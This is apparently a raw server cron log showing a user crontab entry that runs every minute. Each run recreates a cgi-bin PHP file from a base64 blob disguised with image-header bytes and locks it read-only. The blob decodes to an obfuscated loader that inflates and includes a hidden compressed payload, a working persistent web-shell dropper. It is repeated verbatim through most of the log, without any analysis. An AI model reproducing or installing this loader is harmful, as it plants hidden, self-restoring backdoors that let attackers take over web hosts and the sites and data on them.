Nov  9 18:52:01 server CROND[717]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:53:01 server CROND[1530]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:54:01 server CROND[2233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:55:01 server CROND[2589]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 18:55:01 server CROND[2590]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:55:01 server CROND[2591]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 18:56:01 server CROND[3467]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:57:01 server CROND[4258]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:57:01 server CROND[4259]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 18:58:01 server CROND[4997]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 18:59:01 server CROND[5645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:00:01 server CROND[6472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:00:01 server CROND[6474]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 19:00:01 server CROND[6473]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 19:00:01 server CROND[6475]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:01:01 server CROND[7353]: (root) CMD (run-parts /etc/cron.hourly)
Nov  9 19:01:01 server CROND[7354]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:01:01 server run-parts(/etc/cron.hourly)[7353]: starting 0anacron
Nov  9 19:01:01 server run-parts(/etc/cron.hourly)[7367]: finished 0anacron
Nov  9 19:02:01 server CROND[8186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:03:01 server CROND[9233]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:04:01 server CROND[10218]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 19:05:01 server CROND[11122]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 19:05:01 server CROND[11124]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 19:05:01 server CROND[11126]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
